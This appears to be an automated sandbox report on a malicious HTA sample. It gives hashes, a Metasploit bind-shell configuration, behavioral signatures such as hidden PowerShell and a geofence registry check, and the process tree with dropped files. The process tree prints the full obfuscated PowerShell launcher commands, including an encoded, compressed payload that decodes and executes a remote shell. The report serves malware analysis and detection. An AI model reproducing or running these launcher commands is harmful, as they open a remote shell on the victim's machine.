Analysis
-
max time kernel
135s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 01:24
Static task
static1
Behavioral task
behavioral1
Sample
82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta
Resource
win10v2004-20240508-en
General
-
Target
82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta
-
Size
7KB
-
MD5
248aa4289e3739f172987f89212e4093
-
SHA1
1d8a58fd8e77c42c0d9f0f9d3a4d118f22c23ac5
-
SHA256
82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98
-
SHA512
4e24b70280d8e56abcdc03100a28224dde1a3b07a1538dac01f5983e0ff8eb0ef5025c7d87c280255b2dc8918d0a4e0e3e98115efa9152dd11dfcffd57ed15d9
-
SSDEEP
192:+zPn2jh1hqT2Fr2rG71OrYf4KqLl9QhufdUk4TRQW+ZiPj2vF6hd9d:+zPn2jh1hsWr2S7Ar2qLwu1Ukny2Uhdj
Malware Config
Extracted
metasploit
windows/shell_bind_tcp
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid process 220 powershell.exe 3308 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 220 powershell.exe 220 powershell.exe 3308 powershell.exe 3308 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 220 powershell.exe Token: SeDebugPrivilege 3308 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
mshta.exepowershell.exedescription pid process target process PID 4828 wrote to memory of 220 4828 mshta.exe powershell.exe PID 4828 wrote to memory of 220 4828 mshta.exe powershell.exe PID 4828 wrote to memory of 220 4828 mshta.exe powershell.exe PID 220 wrote to memory of 3308 220 powershell.exe powershell.exe PID 220 wrote to memory of 3308 220 powershell.exe powershell.exe PID 220 wrote to memory of 3308 220 powershell.exe powershell.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEASQBzAHkAMQAyAFUAQwBBADcAVgBXAGIAVwB7ADIAfQBpAE8AQgBEACsAdgB0AEwAKwBoADIAaQBGAGwARQBTACcAJwArACcAJwBsAEoATAB5AG8AdQA2ADIAMAAwAGoAbABRAG0AaQBCAEMAMgBZAFoAQwBLAFkAdABPAGIAdQBLAEEAaQB4AFAAVAB4AEMAbAB3AGUAewAyAH0AdgBmAGIAeAB5AFMAbAByADEAdAA3ADMAbwB7ADEAfQByAFMAVwBFAFkAOAArAE0AeAA4ADgAOABNACsATQB3AGkAMwAxAEIAZQBhAHkAcwB2AGkARABsADIAewAyAH0AdAAzAFMAagBHAEcATwBNAEcAUgBvAGwAWAA0AFEAMQBwAFYASwB7ADEAfQB4AFoANwA1ADMAcQB6ADcAdQBWAE0ASwBoAHsAMgB9AFYARAA0AHIAMgBnAHkAdAAxAHgAMABlAFkAUgByACcAJwArACcAJwBQAHoAOAA3AGEAVwBaAEsAUQBXAE8AeQB7ADIAfQBhAHgAZABFAG8ARABRAGwAMAAnACcAKwAnACcAUgAyAGoASgBOAFYAMAA1AFUAOQBsAHMAaQBRAEoATwBiADYAOAB1AHkAZQArACcAJwArACcAJwBVAEwANABwAGwAZAA5AHIARgA0AHoAZgBZAFYAYQBJADcAZAByAFkAWAB4AEwAbABHAE0AVwBCADMATwB0AHoASAAwAHYAUABhAHQANgBhAFUAYQBHAHAAWAA3ACsAcQArAHUAeQA0AFAAcQArAGQAUAAyAFMAWQBwAFoAcgBxADcAVgBKAEIAbwBsAHIAQQBtAEsAbwByADMAMwBWADUANABHAGkAMwBKAHAAcgBxAFUAagB7ADIAfQBoAEsAUQA5AEYAYgBVAEwAagBaAHEATgAyAEgAYQBjADQASgBBAE8AdwA5AGsAaABjAEkAcABZADgAUwBGAFcANAB6AFAATgAxAEUAaQBLAHkASgBOADcAZgBTAHAAcgBaAEMAMgBrAHEAVABJAGMASgA5ADEARQBRAEoAQwBSAE4AMQBhAG8AeQBrAHcAZgBNADUAdgBQAGYAdABGAGwAeAArAGwAVQBXAEMAeABxAFIAbQBoAE0ATABrAHYAQwAxAFIANQBKAEgANgBwAE8AMABaAHUATQA0AFkATwBTAEsAaABIAFAAUQA4ACcAJwArACcAJwBrAFIAQwA0ADgAVgBjADEAMABIAHMAawBhACsAJwAnACsAJwAnAEkAVgBvAGsAegB4AHEAcgBLAGYAegBHAGoARABjAGkAbQB4AE8ANgB0AFMAdABxAGgARQBrAGcATgBSAGEASgBYAEkAYQBnAHYAMwBOAFAAbABRAGMAYgBJAFgAbABOADkAdwBWAEYASgBCAEIAMwBHAEUAeABrAEEAdwBPADgAUwB3ADcAQQBrAEUASABVADYARgB5ADgAdwA2AEgAbQBoAEgAJwAnACsAJwAnAEwATgA4AGgANABEAFAAMgBwAEMAewAxAH0ATgBGACcAJwArACcAJwBmACsAcgBKAGgAVgB4AFkAWABUAHMAZQBEAEoARABqADQAcgBvAHkAUQBqACsAdgB3AEoAYwBhAFcAUwByAHUAdgBkADYAJwAnACsAJwAnAGwAdQB0ADEAVQB0AFYAVQBHAFEATQBGAG0AWgBqAFQAbwBQADUAcwB7ADIAfQBvAFAAOABhADgAOABiAGkAOABkAEsAZgBRADYAbQB6AHMAawBwAEQASABwADcARwBJAGMAVQBiADgAawByAFAAWgBTAFUARQBqAEkAUwBJADUASQByAFIAUQBiAGcASAArAGEAVwBtAHkAUQBvAEUATQAnACcAKwAnACcAWQBXAFcAQQBoAFkAWgBiAGMAKwBFAHsAMQB9AHQAUABLAEwAaQBTAGQAZgBLAEsAQQB0AEkAZwB7ADEAfQB3AEkAYgBBAHAAZQBRAGMAegAxAEgANQAzAFoAUgAwADUAVAB7ADEAfQBkAGcAbABFAFkAQwAzAHsAMgB9AHcAYQB5AFYAawBKAEkARQAxAEoASwBGADYAbQB4AEsAMAArAFgAMwB5AEMAawB0AGgAbABPAEkAYwBXAEgARwBlAFMAcABYADEAVQA4AGcAaABrAEoAcQBnAHEAJwAnACsAJwAnAEsAVQAxAHAAcwBvAFUAegB3AGYASwBvACsAdQArAHQAbQBUAEYAJwAnACsAJwAnAEEAZgBwADYASQAwAE4AOQBmAHsAMgB9AEIAbQBkAHgAYgBKAHYASABxAFUAZwB5AEgAOABJAEsARQBJAHkAOABOAGYARQBwAFoAaABLAFIAcQBtAEwAVABnAEYAZwA3AGoAeQA3AEsANAA5AFUAWAA4AFcAaABqAHgAaQBCADkAdwBOAEkAagB4AEEATgBXAEoAQQA2AGUAawBHAFIASgB3AE4ATwBjAEcASAByAE4ASQA4AEsASgAxAG8AeABFAEkASgBQAFgAagBTADcARABDADYAZwBTAFIAWgBMAGsANwBNAEkATABFAHEAaQB2AE8ARgByAG0AdwBwADcANABFAHAAawBTAGsAZwBNADMASQBkAHcAZQA0ADYASwBxAGoARwBrAGkAbwBBAHAASgBsAEcAVgArAHsAMgB9AEEAOABmAGYAcQA0ACsAdQBUAFAAdABoAEIAVABCADAAYwBvAE0AbQAxAGsANwBJAFYATwBnAGcAdQAyADYASgBHAG0AQgBVAEkANQBIAEkAZwBDAEwAYgBzAEkAagBDADYAZgBrAHAATABVAHYATgBOAG8ASAA0ADUASQBPAEUAWQB5AHAARQB6AE0AMwA2AEsAMQBvADMAZAB7ADEAfQBBAHoANABYAGYAdABSAHMAZQA5AFgAMgA2AEcAQQBxAFQAUgA2ADcAZgBUAG8AYwBYADMAVQArAEkAYgBoAFkAYgB7ADIAfQA5AE0AQQArAFUARQB2AEkASwBmAGUAdQBDAFcAOABjADAAZQAwAGgAOABqACsAUQBrADIAcgB0AGYAUQB0AGMAdwBUAHoAYQAwAGMANABGADQANgBZAE8AcwBnAGUATABYADEAbQBEAGoAdQAyADQAVQAxAFQAawAyADcAcwBpAGUAdAAzAHIARAA4ADIAagBSAFMAbwAyAG0AcgBaAE4AeQBaAHEATgBsAHUAWABUAFgATQBGADQARQAxAHAAZgBiAEYAQwB3AFMAQwBpAG0AMgAwAGYANQBsAEIAUgBMAHsAMgB9AHUAVwBrADEAcQBtAHcAOAA1ADcANwBhAHUANwBTAGEATgA3AE8AMgBHADIAMABlAG8AdQB3AHcAbABQAHYAWgBOAHAAeAB6AEMATQAwAHcAQgAzADMAQgAxAEMARgBnACsAYQA3AHUANgBtAGYAcwBWAEgAdABoADkAWgBoAGoASABPAGUAcwBpAEMANgA2ADIAMwAzAGEAcwB2AHUAQgAwAGgAdgBPAGsAWQA5AFEAewAxAH0AdgBUADgAWQAnACcAKwAnACcAZABhAGsAeQA0AGgAUgBjADkAZgByAEkAdwAnACcAKwAnACcAdwB0AGIAUQBHAEwAUABHAG8AbwAxADYAVwA0AHUAUwAyADQAZgB6ADcAdQAwAE4AZAB2AHQAMwBnADAAWgBvADEASwBjADMAcQBOAE0AYQBUAHkAVgBPADQAdwBaAHQAewAxAH0AbwB6AHUANABjAGoAeABEAGIAWgBIADYAZQBXAFIAYgBkAFQASABCAE8AYgBqAGIARABTAHgAcABXADIARQBGADEAZQBUAE0AZABoAHEAKwBNAHYAUQBPAEoAMQAwAGoAcABCADEAMQBKACsAbQBEAGIAeQB5AGUATwA1AE4AOQB7ADIAfQBZAEIAWABTAHkAewAxAH0ANgArADYAUQB3AGYANwBvAHUAcwBIAFIAbQBBADEAdQBNAE8AcgBmADcAcgBvAEcAewAxAH0ARABkAHMASQBiAHQAbABJADkAOQBkAGIAKwBPAGIAOQBlAGIAagA0ADAAYgBnADMAZwBRAHYAcgBKACcAJwArACcAJwBGAHgAZQB2ADMANQBBADgAUgA3AGQAawAxAGoAMABXAHoATQBLADkASAAyAGQAaQB5AEwANAB2AHQAMwBGAFcAYQB0AEgAZwA3AEMAewAyAH0AbAByAFIAZAAzAEcAUwBMAGoARQBEAE8AawBBADEATAA3AE8AeQB5ADUATgB1AFUAWgArAEgAewAxAH0ARQBvAE4AVABaAE8ATgBmAGsAVwBTAG0ARABCAG8AagBkAEEAOABTAHkANABqAHgAcgBnAHYAMgAwAE4AJwAnACsAJwAnAGUAeQBLAEUAMQA3AFIAdQBHADcARgB7ADIAfQBYAFQAdQA3AFYAUwB6AE4AZAAnACcAKwAnACcAZQBSAEwAVQB7ADEAfQA5AHQARwB1AFgAUgAyAGQAZwB0AE8AUQB7ADEAfQA0AEEAZABXAHQAOQBFAGkAewAyAH0ARQBzAG0AcAB1AG0ANgBZAEoAMQBkADcAYwBtAHEAMAA4AEQAOQA1ACsAcwB6AFoAZgA3AHoAUgBwAHEAeQByAGIAUgBZADUATQBZAFoAdgBsAHQAcwBFAGMARABSAFYATgArACsAJwAnACsAJwAnAFYAWQB3AGEAdABBAFEASABWADYASABhADMAWABnAEkATwBqAFYAMQBCAE0AbwBMAHIAdABVADEAegBDAFoAMwBIAE8ARABzAEUAcgA3AHYAWABFAGgAUQBQAHMAQQBMAFEANgAzAEgAdwBtAEgAdwBRADUAUgA4AEQAQQBNAFgAbABRAEsAawBKADIAeQA4AFAAdQBXADIASAAzADUANwArAFUATgBVAFcAaABXAHMASgBmADgARwArAHMAZQBWADcANwBoADkAMAAzAE0AYwBtAHMANwB0AEgANQBhAGYAewAxAH0ASABoAFkATQBhAHsAMgB9ACsAcwBRAG0ARwBBAHEAUQBOAEMARABpAHMAdgBJAHsAJwAnACsAJwAnADIAfQBoAEgAdwBNAGgAQgBGAHAAaAB4AEcAKwBQADQAYwA4AGkAQQBzAGgAewAxAH0AdwBiAFgAMgBiAGkAZQBBAEIAdgByAGIAegBtAHsAMgB9AHcAWABSAEEAOABhAEUAbABRAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBuACcAJwAsACcAJwAvACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAIsy12UCA7VWbW{2}iOBD+vtL+h2iFlES'+'lJLyou6200jlQmiBC2YZCKYtObuKAixPTxClwe{2}vfbxySlr1t73o{1}rSWEY8+Mx888M+Mwi31BeaysviDl2{2}t3SjGGOMGRolX4Q1pVK{1}xZ753qz7uVMKh{2}VD4r2gyt1x0eYRr'+'Pz87aWZKQWOy{2}axdEoDQl0'+'R2jJNV05U9lsiQJOb68uye+'+'UL4pld9rF4zfYVaI7drYXxLlGMWB3OtzH0vPat6aUaGpX7+q+uy4Pq+dP2SYpZrq7VJBolrAmKor33V54Gi3JprqUj{2}hKQ9FbULjZqN2Hac4JAOw9khcIpY8SFW4zPN1EiKyJN7fSprZC2kqTIcJ91EQJCRN1aoykwfM5vPftFlx+lUWCxqRmhMLkvC1R5JH6pO0ZuM4YOSKhHPQ8'+'kRC48Vc10Hska+'+'IVokzxqrKfzGjDcimxO6tStqhEkgNRaJXIagv3NPlQcbIXlN9wVFJBB3GExkAwO8Sw7AkEHU6Fy8w6HmhH'+'LN8h4DP2pC{1}NF'+'f+rJhVxYXTseDJDj4royQj+vwJcaWSruvd6'+'lut1UtVUGQMFmZjToP5s{2}oP8a88bi8dKfQ6mzskpDHp7GIcUb8krPZSUEjISI5IrRQbgH+aWmyQoEM'+'YWWAhYZbc+E{1}tPKLiSdfKKAtIg{1}wIbApeQcz1H53ZR05T{1}dglEYC3{2}wayVkJIE1JKF6mxK0+X3yCkthlOIcWHGeSpX1U8ghkJqgq'+'KU1psoUzwfKo+u+tmTF'+'Afp6I0N9f{2}BmdxbJvHqUgyH8IKEIy8NfEpZhKRqmLTgFg7jy7K49UX8WhjxiB9wNIjxANWJA6ekGRJwNOcGHrNI8KJ1oxEIJPXjS7DC6gSRZLk7MILEqivOFrmwp74EpkSkgM3Idwe46KqjGkioApJlGV+{2}A8ffq4+uTPthBTB0coMm1k7IVOggu26JGmBUI5HIgCLbsIjC6fkpLUvNNoH45IOEYypEzM36K1o3d{1}Az4XftRse9X26GAqTR67fTocX3U+IbhYb{2}9MA+UEvIKfeuCW8c0e0h8j+Qk2rtfQtcwTza0c4F46YOsgeLX1mDju24U1Tk27siet3rD82jRSo2mrZNyZqNluXTXMF4E1pfbFCwSCim20f5lBRL{2}uWk1qmw8577au7SaN7O2G20eouwwlPvZNpxzCM0wB33B1CFg+a7u6mfsVHth9ZhjHOesiC66233asvuB0hvOkY9Q{1}vT8Y'+'daky4hRc9frIw'+'wtbQGLPGoo16W4uS24fz7u0Ndvt3g0Zo1Kc3qNMaTyVO4wZt{1}ozu4cjxDbZH6eWRbdTHBObjbDSxpW2EF1eTMdhq+MvQOJ10jpB11J+mDbyyeO5N9{2}YBXSy{1}6+6Qwf7ousHRmA1uMOrf7roG{1}DdsIbtlI99db+Ob9ebj40bg3gQvrJ'+'Fxev35A8R7dk1j0WzMK9H2diyL4vt3FWatHg7C{2}lrRd3GSLjEDOkA1L7Oyy5NuUZ+H{1}EoNTZONfkWSmDBojdA8Sy4jxrgv20N'+'eyKE17RuG7F{2}XTu7VSzNd'+'eRLU{1}9tGuXR2dgtOQ{1}4AdWt9Ei{2}Esmpum6YJ1d7cmq08D95+szZf7zRpqyrbRY5MYZvltsEcDRVN++'+'VYwatAQHV6Ha3XgIOjV1BMoLrtU1zCZ3HODsEr7vXEhQPsALQ63HwmHwQ5R8DAMXlQKkJ2y8PuW2H357+UNUWhWsJf8G+seV77h903Mcms7tH5af{1}HhYMa{2}+sQmGAqQNCDisvI{'+'2}hHwMhBFphxG+P4c8iAsh{1}wbX2bieABvrbzm{2}wXRA8aElQsAAA{0}{0}')-f'=','n','/')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4288,i,11746347647270949551,7786733067759450703,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD529af9a832da596a5e58afc88715637ee
SHA1b436cb58f7d4b8d3bb628c952ac5ebdf55fe494c
SHA25653d78964484de1a8f8f1e92367d2595ced64f25c29c668bb90c82c13db0467b0
SHA512bf244deb7b6e6a5e698c9e88e6528e1be4b4c929d1332c32f3ede821d6e22926d9363735db0c727d7260c822edfc9d2de75031989467df6905d2abceabc056df
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_llorzjkc.eff.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/220-4-0x0000000074680000-0x0000000074E30000-memory.dmpFilesize
7.7MB
-
memory/220-18-0x0000000005CA0000-0x0000000005CBE000-memory.dmpFilesize
120KB
-
memory/220-5-0x0000000004DE0000-0x0000000004E02000-memory.dmpFilesize
136KB
-
memory/220-6-0x00000000055E0000-0x0000000005646000-memory.dmpFilesize
408KB
-
memory/220-7-0x0000000005650000-0x00000000056B6000-memory.dmpFilesize
408KB
-
memory/220-2-0x0000000074680000-0x0000000074E30000-memory.dmpFilesize
7.7MB
-
memory/220-17-0x00000000057C0000-0x0000000005B14000-memory.dmpFilesize
3.3MB
-
memory/220-0-0x000000007468E000-0x000000007468F000-memory.dmpFilesize
4KB
-
memory/220-19-0x0000000005CE0000-0x0000000005D2C000-memory.dmpFilesize
304KB
-
memory/220-20-0x00000000075F0000-0x0000000007C6A000-memory.dmpFilesize
6.5MB
-
memory/220-21-0x00000000061E0000-0x00000000061FA000-memory.dmpFilesize
104KB
-
memory/220-3-0x0000000004E80000-0x00000000054A8000-memory.dmpFilesize
6.2MB
-
memory/220-25-0x0000000074680000-0x0000000074E30000-memory.dmpFilesize
7.7MB
-
memory/220-1-0x0000000004720000-0x0000000004756000-memory.dmpFilesize
216KB
-
memory/3308-36-0x0000000005570000-0x0000000005571000-memory.dmpFilesize
4KB